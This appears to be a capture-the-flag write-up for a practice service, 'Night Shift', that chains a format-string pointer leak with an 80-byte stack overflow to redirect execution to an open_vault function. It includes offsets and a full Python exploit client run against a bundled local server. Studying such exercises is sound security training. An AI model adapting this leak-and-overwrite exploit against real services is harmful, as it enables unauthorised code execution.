The service
Night Shift opens with name: and later asks for note: . The name is formatted before it is printed, so %7$p returns a code pointer. The note is accepted as a line of raw bytes. The included local service models the relevant leak and overwrite, which makes the client runnable without an external target.
A typical conversation looks like this:
Night Shift
name: %7$p
hello 0x555500001540
note: [payload]
Memory layout
The leaked pointer is report at offset 0x1540. open_vault is at 0x12b0. The note starts 80 bytes before the saved return address. PIE changes the base each run, so the fixed values are offsets, not final addresses.
| Value | Offset | Use |
|---|---|---|
report | 0x1540 | Subtract from the leak |
open_vault | 0x12b0 | Add to the base |
| Saved return address | 80 bytes | Overwrite after padding |
Solve path
- Send
%7$pat the name prompt and parse the address afterhello. - Subtract
0x1540to recover the base for this connection. - Add
0x12b0to locateopen_vault. - Send 80 filler bytes followed by the address packed with
p64.
base = report - 0x1540
target = base + 0x12b0
payload = b"A" * 80 + p64(target)The client reads up to each prompt before writing. If the leak is malformed, it stops rather than calculating an address from unrelated output.
Run it locally
python3 night_shift_server.py 127.0.0.1 31340
python3 night_shift.py 127.0.0.1 31340Start the service in one terminal, then run the client in another. Both use the Python standard library.
Complete client
import socket
import struct
import sys
p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]
REPORT_OFFSET = 0x1540
OPEN_VAULT_OFFSET = 0x12b0
RETURN_OFFSET = 80
def read_until(sock, marker):
data = bytearray()
while not data.endswith(marker):
part = sock.recv(1)
if not part:
raise ConnectionError("connection closed")
data.extend(part)
return bytes(data)
def send_line(sock, data):
sock.sendall(data + b"\n")
def main(host, port):
with socket.create_connection((host, port), timeout=3) as sock:
read_until(sock, b"name: ")
send_line(sock, b"%7$p")
greeting = read_until(sock, b"\n").strip()
if not greeting.startswith(b"hello "):
raise ValueError(greeting)
report = int(greeting.split()[-1], 16)
base = report - REPORT_OFFSET
target = base + OPEN_VAULT_OFFSET
print("report", hex(report))
print("target", hex(target))
read_until(sock, b"note: ")
send_line(sock, b"A" * RETURN_OFFSET + p64(target))
print(read_until(sock, b"\n").decode(errors="replace").strip())
if __name__ == "__main__":
if len(sys.argv) != 3:
raise SystemExit("usage: python3 night_shift.py HOST PORT")
main(sys.argv[1], int(sys.argv[2]))